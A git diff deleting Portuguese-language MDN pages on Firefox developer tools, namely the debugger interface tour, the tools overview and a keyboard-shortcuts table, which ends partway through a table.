diff --git a/files/pt-pt/tools/debugger/ui_tour/index.html b/files/pt-pt/tools/debugger/ui_tour/index.html
deleted file mode 100644
index 8eb582bc4e..0000000000
--- a/files/pt-pt/tools/debugger/ui_tour/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Demonstração da IU
-slug: Tools/Debugger/UI_Tour
-translation_of: Tools/Debugger/UI_Tour
-original_slug: Tools/Debugger/Demonstracao_IU
----
-<div>{{ToolsSidebar}}</div><p>Este artigo é uma demonstração rápida das secções principais da interface do utilizador do 'Depurador de JavaScript'. A IU está dividida verticalmente em 3 painéis:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_list_pane">Painel da lista fonte</a></li>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">Painel fonte</a></li>
- <li>Um terceiro painel que está subdividido em quatro secções:
- <ul>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Toolbar">Barra de ferramentas</a></li>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Breakpoints_list">Breakpoints list</a></li>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Call_stack">Call stack</a></li>
- <li><a href="/en-US/docs/Tools/Debugger/UI_Tour#Scopes">Scopes</a></li>
- </ul>
- </li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14977/debugger-screen-main-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
-
-<h2 id="Painel_da_lista_fonte">Painel da lista fonte</h2>
-
-<p>The source list pane lists all the JavaScript source files loaded into the page, and enables you to select one to debug. At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14975/debugger-source-list-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
-
-<p>You can <a href="/en-US/docs/Tools/Debugger/How_to/Search#Searching_for_files">search for a file</a> using <kbd>Ctrl</kbd> + <kbd>P</kbd> (<kbd>Cmd</kbd> + <kbd>P</kbd> on a Mac).</p>
-
-<h2 id="Painel_fonte">Painel fonte</h2>
-
-<p>This shows the JavaScript file currently loaded.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14973/debugger-source-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;">When the source pane is focused you can <a href="/en-US/docs/Tools/Debugger/How_to/Search#Searching_within_a_file">search for a string in the file</a> using <kbd>Ctrl</kbd> + <kbd>F</kbd> (<kbd>Cmd</kbd> + <kbd>F</kbd> on a Mac).</p>
-
-<p><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Breakpoints</a> have a blue arrow overlaid on the line number. <a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">Conditional breakpoints</a> have an orange arrow. If you're stopped at a breakpoint, the entire line gets a green overlay. In the screenshot below there are three breakpoints:</p>
-
-<ul>
- <li>line 19 has a normal breakpoint</li>
- <li>line 40 has a normal breakpoint, and the debugger is paused there</li>
- <li>line 22 has a conditional breakpoint.</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14981/debugger-main-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
-
-<h2 id="Barra_de_Ferramentas"><a name="toolbar">Barra de Ferramentas</a></h2>
-
-<p>No topo do painel à direita, existe uma barra de ferramentas:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14971/debugger-toolbar-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
-
-<p>A barra de ferramentas consiste em:</p>
-
-<ul>
- <li>four buttons to <a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code">control the debugger's movement through the script</a>:
-
- <ul>
- <li><strong>Play/pause</strong> (F8): pauses or resumes execution of the script you're debugging. When it displays a "play" icon, that means the script is paused, either because you've paused it with this button or because you've hit a breakpoint.</li>
- <li><strong>Step over</strong> (F10): steps across the current line of JavaScript code.</li>
- <li><strong>Step in</strong> (F11): steps into the function call on the current line of JavaScript code.</li>
- <li><strong>Step out</strong> (Shift-F11): runs the script until the current function exits.</li>
- </ul>
- </li>
- <li>a button to control whether to <a href="/en-US/docs/Tools/Debugger/How_to/Breaking_on_exceptions">(1) ignore all exceptions, (2) break on uncaught exceptions, or (3) break on all exceptions</a>.</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14979/debugger-toolbar-zoom-2.png" style="display: block; height: 231px; margin-left: auto; margin-right: auto; width: 536px;"></p>
-
-<h2 id="Lista_de_ponstos_de_quebra">Lista de ponstos de quebra</h2>
-
-<p>Under the toolbar, you'll see all the breakpoints you've set. Next to each breakpoint is a checkbox which you can use to <a href="/en-US/docs/Tools/Debugger/How_to/Disable_breakpoints">enable/disable it</a>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14969/debugger-breakpoints-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
-
-<p> </p>
-
-<p> </p>
-
-<h2 id="Call_stack">Call stack</h2>
-
-<p> </p>
-
-<p> </p>
-
-<p>When the debugger's paused, you'll see a call stack:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14967/debugger-call-stack-2.png" style="display: block; height: 1138px; margin-left: auto; margin-right: auto; width: 1113px;">Each level of the call stack gets a line, with the name of the function and the filename and line number. Clicking the line opens that source in the source pane.</p>
-
-<h2 id="Scopes">Scopes</h2>
-
-<p>In the right-hand pane you'll see a label "Scopes" with a disclosure arrow next to it. When the debugger's paused, you'll be able to expand this section to see all objects that are in scope at this point in the program:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14965/debugger-scopes-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;">Objects are organized by scope: the most local appears first, and the global scope (Window, in the case of page scripts) appears last.</p>
diff --git a/files/pt-pt/tools/index.html b/files/pt-pt/tools/index.html
deleted file mode 100644
index 72720aafb4..0000000000
--- a/files/pt-pt/tools/index.html
+++ /dev/null
@@ -1,228 +0,0 @@
----
-title: Ferramentas de Desenvolvimento do Firefox
-slug: Tools
-tags:
- - Desenvolvendo Mozilla
- - Desenvolvimento da Web
- - 'Desenvolvimento da Web: Ferramentas'
- - Ferramentas
- - Guía
- - Precisa de Tradução
- - 'l10n:priority'
-translation_of: Tools
----
-<div>{{ToolsSidebar}}</div>
-
-<p class="summary">Examinar, editar, e depurar HTML, CSS, e JavaScript no PC e nos dispositivos móveis.</p>
-
-<p>If you are looking for information on using the web developer tools available in Firefox, you've come to the right place — this page provides links to detailed information on all of the core tools and additional tools, and further information such as how to connect to and debug Firefox for Android, how to extend the devtools, and how to debug the browser as a whole.</p>
-
-<p>Please explore the links found in the sidebar, and further down the page. If you have any feedback or questions about the devtools, send us messages on our mailing list or IRC channel (see the <a href="/en-US/docs/Tools#Join_the_Developer_tools_community">community links near the bottom of the page</a>). If you have any feedback or questions specifically about the documentation, the <a href="https://discourse.mozilla.org/c/mdn">MDN discourse</a> is a good place to post.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: If you are a beginner to web development and using developer tools, our <a href="/en-US/docs/Learn">learning web development</a> docs will help you — see <a href="/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the Web</a> and <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a> for good starting points.</p>
-</div>
-
-<h2 id="As_Ferramentas_Principais">As Ferramentas Principais</h2>
-
-<p>The right-hand side of the Developer Tools toolbar, which can be opened with  <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> on Windows and Linux, or <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> on OS X, contains several buttons that let you perform actions or change tool settings.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16087/DevTools_LayoutMenu.png" style="height: 290px; width: 225px;"></p>
-
-<table class="standard-table" style="height: 178px; width: 840px;">
- <tbody>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/16092/iframe_button.png" style="height: 69px; width: 69px;"></td>
- <td>This button will only appear when there are multiple iframes on a page. Click it to display a list of the iframes on the current page and select the one with which you want to work.</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/16088/camera_button.png" style="height: 69px; width: 69px;"></td>
- <td>Click this button to take a screenshot of the current page. (<strong>Note:</strong> This feature is not turned on by default and must be enabled in settings before the icon will appear.)</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/16089/responsive_button.png" style="height: 69px; width: 69px;"></td>
- <td>Toggles Responsive Design Mode.</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/16090/menu_button.png" style="height: 69px; width: 69px;"></td>
- <td>Opens the menu that includes docking options, the ability to show or hide the split console, and Developer Tools settings. The menu also includes links to the documentation for Firefox Web Tools and the Mozilla Community.</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/16091/close_button.png" style="height: 69px; width: 69px;"></td>
- <td>Closes the Developer Tools</td>
- </tr>
- </tbody>
-</table>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Inspetor_de_Página">Inspetor de Página</h3>
-
-<p><a href="/en-US/docs/Tools/Page_Inspector"><img alt="" src="https://mdn.mozillademos.org/files/14532/inspector.png" style="display: block; height: 257px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Ver e editar conteúdo e apresentação da página. Visualize muitos aspetos da página, incluindo o modelo de caixa, animações e apresentações de grelha.</p>
-</div>
-
-<div class="column-half">
-<h3 id="Consola_da_Web">Consola da Web</h3>
-
-<p><a href="/en-US/docs/Tools/Web_Console"><img alt="" src="https://mdn.mozillademos.org/files/14528/console.png" style="display: block; height: 257px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Ver mensagens registadas por uma página da Web e interagir com a página utilizando o JavaScript.</p>
-</div>
-</div>
-
-<hr>
-<div class="column-container">
-<div class="column-half">
-<h3 id="Depurador_de_JavaScript">Depurador de JavaScript</h3>
-
-<p><a href="/en-US/docs/Tools/Debugger"><img alt="" src="https://mdn.mozillademos.org/files/14542/debugger.png" style="display: block; height: 1026px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Parar, explorar, examinar e modificar o JavaScript em execução numa página.</p>
-</div>
-
-<div class="column-half">
-<h3 id="Monitor_de_Rede">Monitor de Rede</h3>
-
-<p><a href="/en-US/docs/Tools/Network_Monitor"><img alt="" src="https://mdn.mozillademos.org/files/14534/network-monitor.png" style="display: block; height: 257px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Ver os pedidos de rede efetuados quando uma página é carregada.</p>
-</div>
-</div>
-
-<hr>
-<div class="column-container">
-<div class="column-half">
-<h3 id="Ferramentas_de_Desempenho">Ferramentas de Desempenho</h3>
-
-<p><a href="/en-US/docs/Tools/Performance"><img alt="" src="https://mdn.mozillademos.org/files/14536/performance.png" style="display: block; height: 1026px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Analise a reação geral do site, JavaScript, e desempenho da apresentação.</p>
-</div>
-
-<div class="column-half">
-<h3 id="Modo_de_Desenho_Responsivo">Modo de Desenho Responsivo</h3>
-
-<p><a href="/en-US/docs/Tools/Responsive_Design_Mode"><img alt="" src="https://mdn.mozillademos.org/files/14538/rdm.png" style="display: block; height: 1542px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
-
-<p>Veja como o seu site da Web ou a aplicação serão apresentados e se comportam nos diferentes dispositivos e tipos de rede.</p>
-</div>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: The collective term for the UI inside which the DevTools all live is the <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a>.</p>
-</div>
-
-<h2 id="Mais_Ferramentas">Mais Ferramentas</h2>
-
-<p>Estas ferramentas de desenvolvimento também estão integradas no Firefox. Ao contrário das 'Ferramentas Principais' acima, pode não utilizá-las todos os dias.</p>
-
-<div class="twocolumns">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Memoria">Memória</a></dt>
- <dd>Figure out which objects are keeping memory in use.</dd>
- <dt><a href="/pt-PT/docs/Tools/Inspetor_de_armazenamento">Inspetor de Armazenamento</a> </dt>
- <dd>Inspect cookies, local storage, indexedDB, and session storage present in a page.</dd>
- <dt><a href="/en-US/docs/Tools/DOM_Property_Viewer">DOM Property Viewer</a></dt>
- <dd>Inspect the page's DOM properties, functions, etc.</dd>
- <dt><a href="/pt-PT/docs/Tools/GCLI">Barra de Ferramentas do Programador</a></dt>
- <dd>A command-line interface for the developer tools.</dd>
- <dt><a href="/en-US/docs/Tools/Eyedropper">Eyedropper</a></dt>
- <dd>Select a color from the page.</dd>
- <dt><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a></dt>
- <dd>A text editor built into Firefox that lets you write and execute JavaScript.</dd>
- <dt><a href="/en-US/docs/Tools/Style_Editor">Style Editor</a></dt>
- <dd>View and edit CSS styles for the current page.</dd>
- <dt><a href="/en-US/docs/Tools/Shader_Editor">Shader Editor</a></dt>
- <dd>View and edit the vertex and fragment shaders used by <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Editor_de_audio_da_Web">Editor de Áudio da Web</a></dt>
- <dd>Examine the graph of audio nodes in an audio context, and modify their parameters.</dd>
- <dt><a href="/pt-PT/docs/Tools/Capturas_de_ecra">Capturas de ecrã</a></dt>
- <dd>Efetuar uma captura de ecrã de uma página completa ou de um único elemento.</dd>
- <dt><a href="/en-US/docs/Tools/Measure_a_portion_of_the_page">Measure a portion of the page</a></dt>
- <dd>Measure a specific area of a web page.</dd>
- <dt><a href="/en-US/docs/Tools/Rulers">Rulers</a></dt>
- <dd>Overlay horizontal and vertical rulers on a web page</dd>
-</dl>
-</div>
-
-<div class="column-container">
-<div class="column-third">
-<p><img alt="" src="https://mdn.mozillademos.org/files/15588/logo-developer-quantum.png" style="display: block; margin: 0px auto;"></p>
-
-<p style="text-align: center;">Para as ferramentas e recursos mais recentes para os programadores, experimente o Firefox Developer Edition.</p>
-
-<p><a href="https://www.mozilla.org/pt-PT/firefox/developer/" style="width: 300px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Edição de Desenviolvimento</a></p>
-</div>
-
-<div class="column-third"></div>
-</div>
-
-<h2 id="Ligação_das_Ferramentas_de_Desenvolvimento">Ligação das Ferramentas de Desenvolvimento</h2>
-
-<p>Se abrir as ferramentas de desenvolvimento utilizando os <a href="/pt-PT/docs/Tools/atalhos_de_teclado">atalhos de teclado</a> ou os itens de menu equivalentes, eles irão apontar para o documento hospedado no separador ativo. Mas pode anexar as ferramentas a uma variedades de outros destinos, também, ambos dentro do navegador atual e em navgeadores diferentes ou atém em dispositivos diferentes.</p>
-
-<div class="twocolumns">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/about:debugging">about:debugging</a></dt>
- <dd>Depurar extras, separadores de conteúdo, e <em>workers</em> em execução no navegador.</dd>
- <dt><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_over_Wifi">Connecting to Firefox for Android</a></dt>
- <dd>Connect the developer tools to an instance of Firefox running on an Android device.</dd>
- <dt><a href="/en-US/docs/Tools/Working_with_iframes">Connecting to iframes</a></dt>
- <dd>Connect the developer tools to a specific iframe in the current page.</dd>
- <dt><a href="/en-US/docs/Tools/Valence">Connecting to other browsers</a></dt>
- <dd>Connect the developer tools to Chrome on Android and Safari on iOS.</dd>
-</dl>
-</div>
-
-<h2 id="Debugging_the_browser" name="Debugging_the_browser">Depurar o navegador</h2>
-
-<p>By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development.</p>
-
-<div class="twocolumns">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Consola_do_navegador">Consola do Navegador</a></dt>
- <dd>See messages logged by the browser itself and add-ons, and run JavaScript code in the browser's scope.</dd>
- <dt><a href="/pt-PT/docs/Tools/Caixa_de_ferramentas_do_navegador">Caixa de Ferramentas do Navegador</a></dt>
- <dd>Attach the Developer Tools to the browser itself.</dd>
-</dl>
-</div>
-
-<h2 id="Extending_the_devtools" name="Extending_the_devtools">Aumentar as ferramentas de desenvolvimento</h2>
-
-<p>The developer tools are designed to be extensible. Firefox add-ons can access the developer tools and the components they use to extend existing tools and add new tools. With the remote debugging protocol you can implement your own debugging clients and servers, enabling you to debug websites using your own tools or to debug different targets using the Firefox tools.</p>
-
-<div class="twocolumns">
-<dl>
- <dt><a href="/en-US/docs/Tools/Adding_a_panel_to_the_toolbox">Adicione um novo painel às ferramentas de desenvolvimento</a></dt>
- <dd>Write an add-on that adds a new panel to the Toolbox.</dd>
- <dt><a href="https://wiki.mozilla.org/Remote_Debugging_Protocol">Protocolod e Deputação Remoto</a></dt>
- <dd>The protocol used to connect the Firefox Developer Tools to a debugging target like an instance of Firefox or a Firefox OS device.</dd>
- <dt><a href="/en-US/docs/Tools/Editor">Editor de Fonte</a></dt>
- <dd>A code editor built into Firefox that can be embedded in your add-on.</dd>
- <dt><a href="/pt-PT/docs/Tools/Depurador_API">A Interface do Depurador</a></dt>
- <dd>An API that lets JavaScript code observe the execution of other JavaScript code. The Firefox Developer Tools use this API to implement the JavaScript debugger.</dd>
- <dt><a href="/pt-PT/docs/Tools/Consola_da_Web/Saida_personalizada">Consola da Web - saída personalizada</a></dt>
- <dd>How to extend and customize the output of the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> and the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>.</dd>
- <dt><a href="/pt-PT/docs/Tools/Exemplo_de_extras">Exemplo de extras das ferramentas de desenvolvimento</a></dt>
- <dd>Utilize estes exemplos para compreender como implementar um add-on das ferramentas de desenvolvimento.</dd>
-</dl>
-</div>
-
-<h2 id="Migração_do_Firebug">Migração do Firebug</h2>
-
-<p>Firebug is coming to the end of its lifespan (see <a href="https://hacks.mozilla.org/2016/12/firebug-lives-on-in-firefox-devtools/">Firebug lives on in Firefox DevTools</a> for details of why), and we appreciate that some people will find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox developer tools, we have written a handy guide — <a href="/en-US/docs/Tools/Migrating_from_Firebug">Migrating from Firebug</a>.</p>
-
-<h2 id="Contribuir">Contribuir</h2>
-
-<p>If you want to help to improve the developer tools, these resources will get you started.</p>
-
-<div class="twocolumns">
-<dl>
- <dt><a href="https://devtools-html.github.io/#getting-in-touch">Participe</a></dt>
- <dd>Mozilla wiki page explaining how to get involved.</dd>
- <dt><a href="http://firefox-dev.tools/">firefox-dev.tools</a></dt>
- <dd>A tool helping to find bugs to work on.</dd>
-</dl>
-</div>
diff --git a/files/pt-pt/tools/keyboard_shortcuts/index.html b/files/pt-pt/tools/keyboard_shortcuts/index.html
deleted file mode 100644
index 74bd0b31b0..0000000000
--- a/files/pt-pt/tools/keyboard_shortcuts/index.html
+++ /dev/null
@@ -1,1157 +0,0 @@
----
-title: Todos os atalhos de teclado
-slug: Tools/Keyboard_shortcuts
-tags:
- - Ferramentas
- - I10n:priority
-translation_of: Tools/Keyboard_shortcuts
-original_slug: Tools/atalhos_de_teclado
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Esta página lista todos os atalhos de teclado utilizados pelas ferramentas de desenvolvimento integradas no Firefox.</p>
-
-<p>A primeira secção lista o atalho para abrir cada ferramenta e a segunda secção lista os atalhos que são aplicáveis ​​à própria 'Caixa de Ferramentas.' Depois disso, existe uma secção para cada ferramenta, que lista os atalhos que pode utilizar dentro dessa ferramenta.</p>
-
-<p>Porque as chaves de acesso são dependentes do local, elas não estão documentadas nesta página.</p>
-
-<h2 id="Abrir_e_fechar_ferramentas">Abrir e fechar ferramentas</h2>
-
-<p>Estes atalhos funcionam na janela principal do navegador para abrir a ferramenta especificada. Para as ferramentas que estão alojadas na 'Caixa de Ferramentas', elas funcionam para fechar a ferramenta se estiver ativa. Para as ferramentas, tal como a 'Consola do Navegador' que abre numa nova janela, tem de fechar a janela para fechar a ferramenta.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Bring Toolbox to foreground (if the Toolbox is in a separate window and not in foreground)</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- </tr>
- <tr>
- <th scope="row">Close Toolbox (if the Toolbox is in a separate window and in foreground)</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Web Console <a href="#opening-closing-web-console-note"><strong><sup>1</sup></strong></a></th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
- </tr>
- <tr>
- <th scope="row">Toggle "Pick an element from the page" (opens the Toolbox and/or focus the Inspector tab)</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>C</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Style Editor</th>
- <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F7</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note">*</a></td>
- <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Profiler</th>
- <td><kbd>Shift</kbd> + <kbd>F5</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F5</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note">*</a></td>
- <td><kbd>Shift</kbd> + <kbd>F5</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Network Monitor <a href="#opening-closing-network-monitor-note"><strong><sup>2</sup></strong></a></th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>E</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
- </tr>
- <tr>
- <th scope="row">Toggle Responsive Design Mode</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>M</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>M</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>M</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Browser Console</th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Browser Toolbox</th>
- <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Scratchpad</th>
- <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F4 </kbd> <a href="#mac-function-key-note" title="#mac-function-key-note">*</a></td>
- <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open WebIDE</th>
- <td><kbd>Shift</kbd> + <kbd>F8</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F8</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note">*</a></td>
- <td><kbd>Shift</kbd> + <kbd>F8</kbd></td>
- </tr>
- <tr>
- <th scope="row">Storage Inspector</th>
- <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
- <td><kbd>Shift</kbd> + <kbd>F9</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note">*</a></td>
- <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
- </tr>
- <tr>
- <th scope="row">Open Debugger <strong><sup><a href="#opening-closing-debugger">3</a></sup></strong></th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Z</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd></td>
- </tr>
- </tbody>
-</table>
-
-<p><a name="opening-closing-web-console-note">1. </a>Ao contrário das outras ferramentas hospedadas na caixa de ferramentas, este atalho também não fecha a consola da Web. Em vez disso, este concentra-se na linha de comando da consola da Web. Para fechar a consola, utilize o atalho da caixa de ferramentas global de<a name="opening-closing-web-console-note"> <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> (<kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> num Mac).</a></p>
-
-<p><a name="opening-closing-network-monitor-note">2. Antes do Firefox 55, o atalho de teclado era <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Q</kbd> (<kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Q</kbd> num Mac).</a></p>
-
-<p><a id="opening-closing-browser-console-note" name="opening-closing-browser-console-note">3. Até ao Firefox 38, quando uma 'Consola do Navegador' está ocultada por uma janela normal do Firefox, a mesma combinação de teclas fecha a consola. A partir do Firefox 38, se a 'Consola do Navegador' é ocultada por uma janela normal do Windows, esta combinação de teclas volta a apresentar esta consola no topo e foca-se na mesma.</a></p>
-
-<p><a href="/en-US/docs/Tools_Toolbox#Settings" name="disabled-tools-shortcut">4. A ferramenta está desativada por predefinição, assim o atalho não funcionará até que este seja ativado no 'Painel das Definições'.</a></p>
-
-<h2 id="Caixa_de_Ferramentas">Caixa de Ferramentas</h2>
-
-<div id="toolbox-shortcuts">
-<p>Estes atalhos funcionam sempre que a caixa de ferramentas estiver aberta, independentemente da ferramenta ativa.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 40%;"><strong>Comando</strong></th>
- <th scope="col"><strong>Windows</strong></th>
- <th scope="col"><strong>macOS</strong></th>
- <th scope="col"><strong>Linux</strong></th>
- </tr>
- <tr>
- <th scope="row">Cycle through tools left to right</th>
- <td><kbd>Ctrl</kbd> + <kbd>]</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>]</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>]</kbd></td>
- </tr>
- <tr>
- <th scope="row">Cycle through tools right to left</th>
- <td><kbd>Ctrl</kbd> + <kbd>[</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>[</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>[</kbd></td>
- </tr>
- <tr>
- <th scope="row">
- <p>Toggle between active tool and settings</p>
- </th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>O</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>O</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>O</kbd></td>
- </tr>
- <tr>
- <th scope="row">Toggle between active tool and settings (new in Firefox 43)</th>
- <td><kbd>F1</kbd></td>
- <td><kbd>F1</kbd></td>
- <td><kbd>F1</kbd></td>
- </tr>
- <tr>
- <th scope="row">
- <p>Toggle toolbox between the last 2 <a href="/en-US/docs/Tools/Tools_Toolbox#Docking_mode">docking modes</a> (new in Firefox 41)</p>
- </th>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
- <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
- <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
- </tr>
- <tr>
- <th scope="row">Toggle split console (except if console is the currently selected tool)</th>
- <td><kbd>Esc</kbd></td>
- <td><kbd>Esc</kbd></td>
- <td><kbd>Esc</kbd></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="all-toolbox-tools">
-<p>Estes atalhos funcionam em todas as ferramentas que estão hospedadas na caixa de ferramentas.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
